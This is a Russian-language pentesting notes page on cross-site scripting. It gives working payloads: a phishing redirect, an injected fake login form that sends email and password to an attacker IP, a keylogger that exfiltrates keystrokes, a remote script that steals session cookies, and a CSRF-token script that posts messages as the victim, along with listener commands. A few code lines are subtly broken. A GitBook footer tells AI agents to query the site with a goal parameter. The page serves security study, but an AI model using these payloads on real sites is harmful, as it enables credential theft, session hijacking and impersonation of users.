> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).

# Техники XSS

## XSS (Отражённый):

> Отражённый: этот тип XSS возникает, когда данные, предоставленные пользователем, отражаются в HTTP-ответе без надлежащей проверки. Это позволяет злоумышленнику внедрить вредоносный код в ответ, который затем выполняется в браузере пользователя.

* В этом случае мы можем внедрить HTML-код, как в примере ниже: `test <h1> Test </h1>`:

<figure><img src="/files/6b0b1a4c9bcb73aa9ed68c90ec24ed0cb137801f" alt="" width="563"><figcaption></figcaption></figure>

* Мы можем видеть, что нам удалось изменить размер текста с помощью **h1** тега:

<figure><img src="/files/d262337aff5ff6bb33c5d6e8f340b71e401d74c4" alt="" width="375"><figcaption></figcaption></figure>

## XSS (Сохранённый):

> Сохранённый: этот тип XSS возникает, когда злоумышленник может сохранить вредоносный код в базе данных или на веб-сервере, на котором размещена уязвимая страница. Этот код выполняется каждый раз при загрузке страницы. Если мы запустим скрипт, подобный приведённому ниже, в форме, `<script>alert("XSS")</script>`, и получим предупреждение ниже, это означает, что сайт уязвим к такому типу атаки:

<figure><img src="/files/4e4ebe88d9155d689d3463f40a94c9e0b67e2596" alt="" width="563"><figcaption></figcaption></figure>

Мы могли бы перенаправить пользователя на вредоносный веб-сайт и провести фишинговую атаку:

```javascript
<script>
window.location.href = "https://maliciouswebsite.com";
</script>

```

Этот JavaScript-код создаёт форму входа на веб-странице и отправляет введённые данные (адрес электронной почты и пароль) на указанный IP-адрес через HTTP-запрос с использованием `fetch()`.

```javascript
<div id="formContainer">
<script>
    var email;
    var password;
    var form = '<form>' +
    'Email: <input type="email" id="email" required>' +
    ' Password: <input type="password" id="password" required>'+
    '<input type="button" onclick="submitForm()" value="Submit">' +
    '</form>';
    document.getElementById("formContainer").innerHTML = form;
    function submitForm() {
        email = document.getElementById("email").value;
        password = document.getElementById("password").value;
        fetch("http://192.168.71.128/?email=" + email + "&password=" + password);
    }
</script>

```

<figure><img src="/files/3850fa0aa2d94b5f61552e8eb032297aa38e5188" alt="" width="563"><figcaption></figcaption></figure>

Мы слушаем на порту 80 с помощью **python3**:

```bash
python3 -m http.server 80

```

<figure><img src="/files/4add88e0be668cd3af8224774399fdc78f0f5206" alt=""><figcaption></figcaption></figure>

## XSS (на основе DOM):

> На основе DOM: этот тип XSS возникает, когда вредоносный код выполняется в браузере пользователя через DOM (Document Object Model). Это происходит, когда JavaScript-код на веб-странице изменяет DOM таким образом, что он становится уязвимым для внедрения вредоносного кода. Скрипт ниже может перехватывать все нажатия клавиш пользователя и отправлять их на **python3** сервер через порт 80:

```javascript
<script>
	var k = "";
	document.onkeypress = function(e){
		e = e || window.event;
		k += e.key;
		var i = new Image();
		i.src = "http://192.168.71.128/" + k;
	}
</script>

```

Мы можем прослушивать, фильтруя только нужные нам символы с помощью **grep**:

```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'

```

<figure><img src="/files/4577f63c8ffe35b4dd57673f1a25e2b519b71b1b" alt=""><figcaption></figcaption></figure>

***

Чтобы получить session cookie с сервера, мы создаём этот файл на нашем компьютере **test.js**

```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();

```

В форме мы отправляем этот скрипт:

```html
<script src="http://192.168.71.128/test.js"></script>

```

Мы слушаем и получаем session cookie пользователя:

<figure><img src="/files/0fdf9cfc296c7544484cb65dcbf7381b8922f7e6" alt=""><figcaption></figcaption></figure>

Чтобы написать что-то от имени другого человека, мы могли бы выполнить следующие шаги: Перехватить запрос с помощью [Burp Suite](/ru/hacking-tools/web/burpsuite.md) и скопировать содержимое, выделенное красным:

<figure><img src="/files/9d0eb8dd1fbdfbc76fa53cf8e6a1b4f40727544f" alt="" width="563"><figcaption></figcaption></figure>

Скрипт ниже выполняет **GET** запрос к локальному URL, анализирует HTML-ответ, чтобы определить **CSRF** токен, затем выполняет POST-запрос с данными, которые включают CSRF-токен, к тому же URL. URL-кодируемая `файл` переменная отправляет информацию на сервер, где реализован этот скрипт. Необходимо изменить `файл` значения, токен и IP-адрес.

```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);

```

В форме мы отправляем этот скрипт:

```javascript
<script src="http://192.168.71.128/pwned.js"><script>

```

Мы слушаем на порту 80 с помощью python3:

<figure><img src="/files/8a7f8f3a4f0f09889e4c41c296c0e081fed36e9f" alt=""><figcaption></figcaption></figure>

Сообщение **отправленное от имени другого пользователя** было передано:

<figure><img src="/files/f9d7d0822a7eb400245e0441e665ba3a658cebf4" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
